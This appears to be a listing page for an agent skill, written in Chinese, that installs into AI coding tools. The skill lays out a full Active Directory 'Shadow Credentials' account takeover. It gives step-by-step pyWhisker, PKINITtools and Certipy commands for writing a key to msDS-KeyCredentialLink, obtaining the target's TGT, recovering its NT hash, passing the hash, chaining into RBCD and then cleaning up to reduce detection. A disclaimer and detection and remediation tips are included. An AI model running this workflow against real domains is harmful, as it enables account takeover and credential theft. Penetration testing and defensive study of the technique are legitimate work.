Communitygithub.com

滥用影子凭据进行权限提升

通过向 Active Directory 账户的 msDS-KeyCredentialLink 属性写入攻击者控制的公钥(影子凭据),然后使用 PKINIT 进行身份验证以接管目标账户。

滥用影子凭据进行权限提升 是什么?

影子凭据技术滥用 Active Directory 用户和计算机对象的 `msDS-KeyCredentialLink` 属性。该属性存储 Windows Hello 企业版和 Azure AD 设备注册所使用的原始公钥(“密钥凭据”),用于通过 PKINIT 进行无密码证书登录。当攻击者拥有对目标对象的写入权限(通常由 BloodHound 发现的 `GenericWrite`、`GenericAll`、`WriteProperty` 或 `AddKeyCredentialLink` ACE 授予)时,他们可以附加攻击者生成的公钥。然后,攻击者使用匹配的私钥通过 PKINIT 请求目标的 TGT,并恢复目标的 NT 哈希,从而实现完全的账户接管,而无需重置密码,这比强制密码重置要隐蔽得多。该技术由 Elad Shamir 发布,并在 C# 工具 Whisker 和 Python 工具 pyWhisker 中实现。Certipy 的 `shadow auto` 命令可自动执行整个链条。环境必须支持 PKINIT,并且至少有一台运行 Windows Server 2016 或更高版本的域控制器。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

滥用影子凭据进行权限提升 是做什么的?

法律声明: 此技能仅用于授权的安全测试和教育目的。影子凭据会导致目标账户被完全接管。仅在与您拥有或经明确书面授权测试的系统上使用。未经授权的访问是违法的。

概述

影子凭据技术滥用了 Active Directory 用户和计算机对象的 msDS-KeyCredentialLink 属性。该属性存储 Windows Hello 企业版和 Azure AD 设备注册所使用的原始公钥(“密钥凭据”),用于通过 PKINIT(公钥加密初始 Kerberos 身份验证)进行无密码证书登录。如果攻击者拥有对目标对象 msDS-KeyCredentialLink 的写入权限——通常由 BloodHound 发现的 GenericWrite、GenericAll、WriteProperty 或 AddKeyCredentialLink ACE 授予——他们可以附加自己生成的公钥。然后,他们使用匹配的私钥通过 PKINIT 请求目标的 TGT,并恢复目标的 NT 哈希,无需重置密码即可实现完全账户接管,这比强制密码重置要隐蔽得多。

该技术由 Elad Shamir 发布(“影子凭据:滥用密钥信任账户映射进行账户接管”),并在 C# 工具 Whisker 中实现。Python 等效工具 pyWhisker(ShutdownRepo)通过 LDAP 操作该属性,而 Certipy 则通过 certipy shadow auto 集成整个链条。目标环境必须支持 PKINIT,并且至少有一台运行 Windows Server 2016 或更高版本的域控制器。来源:pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。

何时使用

  • 当 BloodHound 显示对高价值用户或计算机拥有 GenericWrite/GenericAll/AddKeyCredentialLink 权限时
  • 作为 ForceChangePassword 的隐蔽替代方案(无密码重置 = 更少的干扰/告警)
  • 接管计算机账户以链接到基于资源的约束委派(RBCD)
  • 在红队操作中需要在不锁定合法用户的情况下进行账户接管
  • 在紫队演练中生成 msDS-KeyCredentialLink 修改遥测数据

前提条件

  • 授权参与范围,包括 AD 凭据获取技术
  • 控制一个对目标 msDS-KeyCredentialLink 拥有写权限的主体
  • 运行 Windows Server 2016+ 且启用 PKINIT 的 DC(域功能级别支持密钥信任)
  • 网络可达 LDAP(389/636)和 Kerberos(88)服务在 DC 上
  • 运行 Python 3.8+ 的 Linux 攻击主机;安装工具链:
    # pyWhisker(从源代码安装)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy(集成影子攻击)
    pipx install certipy-ad
    # PKINITtools 用于手动 TGT/NT 哈希提取
    git clone https://github.com/dirkjanm/PKINITtools
    

目标

  • 确认对目标 msDS-KeyCredentialLink 的写权限
  • 生成密钥对并将密钥凭据附加到目标对象
  • 通过 PKINIT 使用新密钥请求目标的 TGT
  • 恢复目标的 NT 哈希,用于传递哈希/进一步移动
  • 清理注入的密钥凭据以恢复对象状态
  • 记录导致攻击的 ACL 路径以供修复

MITRE ATT&CK 映射

ID技术在本技能中的应用
T1098.005账户操纵:设备注册将攻击者控制的密钥凭据(设备密钥)写入 msDS-KeyCredentialLink,为目标账户注册备用身份验证凭据

工作流

第 1 步:确认写原语

列出目标上现有的密钥凭据,以验证您拥有所需的访问权限。空结果或可读取的结果确认了执行“添加”步骤的写权限。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

第 2 步:使用 pyWhisker 添加影子凭据

生成证书/密钥对并将其写入目标的 msDS-KeyCredentialLink。pyWhisker 输出一个您控制的 PFX 文件。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# 生成 victim_shadow.pfx 并打印 PFX 密码

如果您只有票据,则使用 Kerberos 认证代替密码:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

第 3 步:通过 PKINIT 请求 TGT

使用生成的 PFX 和 PKINITtools 获取目标账户的 Kerberos TGT。

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

第 4 步:恢复 NT 哈希

使用第 3 步的会话密钥从 AS-REP 中提取目标的 NT 哈希(getnthash.py 读取第 3 步 gettgtpkinit.py 显示的 AS-REP 加密密钥)。

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# 打印 'victim' 的 NT 哈希

第 5 步:使用 Certipy 一键替代方案

Certipy 的 shadow auto 自动执行添加→PKINIT→转储哈希→清理,非常适合计算机账户的接管。

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# 对于计算机账户,使用带 $ 结尾的 sAMAccountName
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

第 6 步:使用恢复的凭据

使用 NT 哈希(或 TGT)继续进行参与操作。

# 使用 NetExec 传递哈希
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# 或者直接使用 TGT
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

第 7 步:将计算机接管链接到 RBCD(可选)

当目标是计算机时,恢复的密钥/哈希允许您配置基于资源的约束委派,以模拟任何用户到该主机。

# 设置 RBCD,使攻击者控制的 SPN 可以模拟到 WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

第 8 步:清理

移除注入的密钥凭据以恢复对象并减少检测足迹。

# pyWhisker:按设备 ID(添加时打印)移除或清除所有添加的内容
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto 自动清理;否则:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

工具与资源

资源用途链接
pyWhiskerPython LDAP 操作 msDS-KeyCredentialLinkhttps://github.com/ShutdownRepo/pywhisker
Whisker原始 C# 实现https://github.com/eladshamir/Whisker
Certipyshadow auto 端到端接管https://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker Recipes技术详解与防御措施https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

检测与修复说明

方面指南
检测监控 Windows 安全事件 ID 5136(目录对象修改)针对 msDS-KeyCredentialLink 的更改;当非 AD Connect/非 Intune 主体写入该属性时发出警报。
审计在用户/计算机 OU 上启用目录服务对象更改审计。
最小权限移除不必要的 GenericWrite/GenericAll/AddKeyCredentialLink ACE(BloodHound AddKeyCredentialLink 边)。
缓解在未使用 Windows Hello/设备注册的情况下,限制谁可以写入密钥凭据,并考虑受保护的 Tier-0 账户。

验证标准

  • 确认对目标 msDS-KeyCredentialLink 的写权限(list 成功)
  • 成功添加密钥凭据(生成了 PFX)
  • 通过 PKINIT 获取目标账户的 TGT
  • 恢复目标 NT 哈希并针对服务验证
  • (如果是计算机)演示了 RBCD 链或进一步移动
  • 移除了注入的密钥凭据/恢复了对象
  • 记录了启用的 ACL 路径并提供了修复建议

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

相关技能